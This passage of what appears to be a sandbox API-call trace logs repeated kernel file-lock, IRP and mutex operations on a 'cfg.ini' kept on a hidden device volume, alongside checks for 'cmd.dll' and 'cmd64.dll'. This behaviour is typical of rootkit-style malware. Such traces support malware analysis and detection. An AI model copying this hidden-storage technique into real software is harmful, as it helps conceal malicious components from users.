Event=0xfffff880028da620) [0124.510] IdePortDispatch () returned 0x103 [0124.510] KeWaitForMutexObject () returned 0x0 [0124.510] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.510] KeLeaveCriticalRegion () [0124.510] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.510] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.510] KeEnterCriticalRegion () [0124.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.510] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800356d000 [0124.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.510] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.510] IdePortDispatch () returned 0x103 [0124.510] KeWaitForMutexObject () returned 0x0 [0124.510] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.511] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.511] IdePortDispatch () returned 0x103 [0124.511] KeWaitForMutexObject () returned 0x0 [0124.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.511] KeLeaveCriticalRegion () [0124.511] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.511] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.511] KeEnterCriticalRegion () [0124.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.511] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.511] KeLeaveCriticalRegion () [0124.511] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.511] KeEnterCriticalRegion () [0124.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.511] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.511] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.511] KeLeaveCriticalRegion () [0124.511] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.511] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.512] KeEnterCriticalRegion () [0124.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.512] ExFreePoolWithTag (P=0xfffffa8003bf1640, Tag=0x0) [0124.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.512] KeLeaveCriticalRegion () [0124.512] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.512] ReleaseMutex (hMutex=0xf0) returned 1 [0124.512] Sleep (dwMilliseconds=0x124f80) [0124.526] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.526] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.526] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.527] KeEnterCriticalRegion () [0124.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.527] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.527] IdePortDispatch () returned 0x103 [0124.527] KeWaitForMutexObject () returned 0x0 [0124.527] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.527] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.527] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.527] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.527] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.527] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1190 [0124.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.527] KeLeaveCriticalRegion () [0124.527] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.527] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.527] KeEnterCriticalRegion () [0124.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.527] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.527] KeLeaveCriticalRegion () [0124.527] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.527] KeEnterCriticalRegion () [0124.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.527] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.527] IdePortDispatch () returned 0x103 [0124.528] KeWaitForMutexObject () returned 0x0 [0124.528] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.528] KeLeaveCriticalRegion () [0124.528] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.528] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.528] KeEnterCriticalRegion () [0124.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.528] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003572000 [0124.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.528] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.528] IdePortDispatch () returned 0x103 [0124.528] KeWaitForMutexObject () returned 0x0 [0124.528] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.528] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.528] IdePortDispatch () returned 0x103 [0124.528] KeWaitForMutexObject () returned 0x0 [0124.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.528] KeLeaveCriticalRegion () [0124.528] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.529] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.529] KeEnterCriticalRegion () [0124.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.529] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.529] KeLeaveCriticalRegion () [0124.529] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.529] KeEnterCriticalRegion () [0124.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.529] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.529] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2aa0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.529] KeLeaveCriticalRegion () [0124.529] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.529] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.529] KeEnterCriticalRegion () [0124.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.529] ExFreePoolWithTag (P=0xfffffa8003bf1190, Tag=0x0) [0124.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.529] KeLeaveCriticalRegion () [0124.529] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.529] ReleaseMutex (hMutex=0xf0) returned 1 [0124.529] Sleep (dwMilliseconds=0x124f80) [0124.543] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.543] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.543] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.543] KeEnterCriticalRegion () [0124.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.543] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.543] IdePortDispatch () returned 0x103 [0124.543] KeWaitForMutexObject () returned 0x0 [0124.543] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.543] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.543] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.543] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.543] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.543] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1eb0 [0124.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.544] KeLeaveCriticalRegion () [0124.544] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.544] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.544] KeEnterCriticalRegion () [0124.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.544] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.544] KeLeaveCriticalRegion () [0124.544] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.544] KeEnterCriticalRegion () [0124.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.544] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.544] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.544] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.544] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.544] IdePortDispatch () returned 0x103 [0124.544] KeWaitForMutexObject () returned 0x0 [0124.544] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.544] KeLeaveCriticalRegion () [0124.544] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.544] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.544] KeEnterCriticalRegion () [0124.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.544] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003577000 [0124.544] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.544] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.544] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.544] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.544] IdePortDispatch () returned 0x103 [0124.545] KeWaitForMutexObject () returned 0x0 [0124.545] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.545] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.545] IdePortDispatch () returned 0x103 [0124.545] KeWaitForMutexObject () returned 0x0 [0124.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.545] KeLeaveCriticalRegion () [0124.545] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.545] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.546] KeEnterCriticalRegion () [0124.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.546] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.546] KeLeaveCriticalRegion () [0124.546] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.546] KeEnterCriticalRegion () [0124.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.546] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.546] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.546] KeLeaveCriticalRegion () [0124.546] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.546] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.546] KeEnterCriticalRegion () [0124.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.546] ExFreePoolWithTag (P=0xfffffa8003bf1eb0, Tag=0x0) [0124.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.546] KeLeaveCriticalRegion () [0124.546] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.546] ReleaseMutex (hMutex=0xf0) returned 1 [0124.546] Sleep (dwMilliseconds=0x124f80) [0124.561] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.561] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.561] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.561] KeEnterCriticalRegion () [0124.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.561] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.562] IdePortDispatch () returned 0x103 [0124.562] KeWaitForMutexObject () returned 0x0 [0124.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.562] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.562] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.562] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.562] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.562] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1750 [0124.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.562] KeLeaveCriticalRegion () [0124.562] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.562] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.562] KeEnterCriticalRegion () [0124.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.562] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.562] KeLeaveCriticalRegion () [0124.562] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.562] KeEnterCriticalRegion () [0124.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.562] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.562] IdePortDispatch () returned 0x103 [0124.562] KeWaitForMutexObject () returned 0x0 [0124.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.562] KeLeaveCriticalRegion () [0124.562] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.563] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.563] KeEnterCriticalRegion () [0124.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.563] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800357c000 [0124.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.563] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.563] IdePortDispatch () returned 0x103 [0124.563] KeWaitForMutexObject () returned 0x0 [0124.563] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.563] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.563] IdePortDispatch () returned 0x103 [0124.563] KeWaitForMutexObject () returned 0x0 [0124.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.563] KeLeaveCriticalRegion () [0124.563] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.564] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.564] KeEnterCriticalRegion () [0124.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.564] FsRtlProcessFileLock 